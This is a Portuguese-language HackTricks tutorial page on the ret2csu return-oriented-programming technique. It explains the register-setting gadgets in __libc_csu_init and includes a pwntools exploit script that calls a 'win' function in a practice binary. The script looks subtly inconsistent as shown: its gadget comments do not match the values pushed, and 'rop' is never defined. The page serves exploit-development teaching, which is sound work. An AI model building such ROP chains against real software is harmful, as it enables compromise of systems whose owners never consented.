mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 04:53:39 +00:00
87 lines
5.2 KiB
Markdown
87 lines
5.2 KiB
Markdown
# Ret2csu
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Informação Básica
|
|
|
|
**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa. 
|
|
|
|
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções internas para gerenciar como diferentes partes do programa se comunicam entre si. Entre essas funções, existem algumas joias escondidas que podem atuar como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
|
|
|
|
### Os Gadgets Mágicos em \_\_libc\_csu\_init
|
|
|
|
Em `__libc_csu_init`, existem duas sequências de instruções (nossos "gadgets mágicos") que se destacam:
|
|
|
|
1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar posteriormente.
|
|
```armasm
|
|
pop rbx;
|
|
pop rbp;
|
|
pop r12;
|
|
pop r13;
|
|
pop r14;
|
|
pop r15;
|
|
ret;
|
|
```
|
|
Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
|
|
|
|
2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:
|
|
* **Mover valores específicos para outros registradores**, preparando-os para serem usados como parâmetros em funções.
|
|
* **Realizar uma chamada para uma localização** determinada somando os valores em r15 e rbx, e então multiplicando rbx por 8.
|
|
```
|
|
mov rdx, r14;
|
|
mov rsi, r13;
|
|
mov edi, r12d;
|
|
call qword [r15 + rbx*8];
|
|
```
|
|
## Exemplo
|
|
|
|
Imagine que você deseja fazer uma chamada de sistema ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria por gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
|
|
|
|
Aqui é onde o **ret2csu** entra em ação:
|
|
|
|
1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
|
|
2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, controlando `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
|
|
|
|
Você tem um [**exemplo usando essa técnica e explicando-a aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que foi usado:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
|
|
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
|
|
RW_LOC = 0x00404028
|
|
|
|
rop.raw('A' * 40)
|
|
rop.gets(RW_LOC)
|
|
rop.raw(POP_CHAIN)
|
|
rop.raw(0) # r12
|
|
rop.raw(0) # r13
|
|
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
|
|
rop.raw(RW_LOC) # r15 - holds location of called function!
|
|
rop.raw(REG_CALL) # all the movs, plus the call
|
|
|
|
p.sendlineafter('me\n', rop.chain())
|
|
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|
print(p.recvline()) # should receive "Awesome work!"
|
|
```
|
|
{% hint style="warning" %}
|
|
Note que o exploit anterior não tem como objetivo realizar um **`RCE`**, mas sim chamar uma função chamada `win` (pegando o endereço de `win` do stdin chamando gets na cadeia ROP e armazenando em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
|
|
{% endhint %}
|
|
|
|
### Por Que Não Usar a Libc Diretamente?
|
|
|
|
Normalmente, esses casos também são vulneráveis ao [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que é facilmente controlado com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
|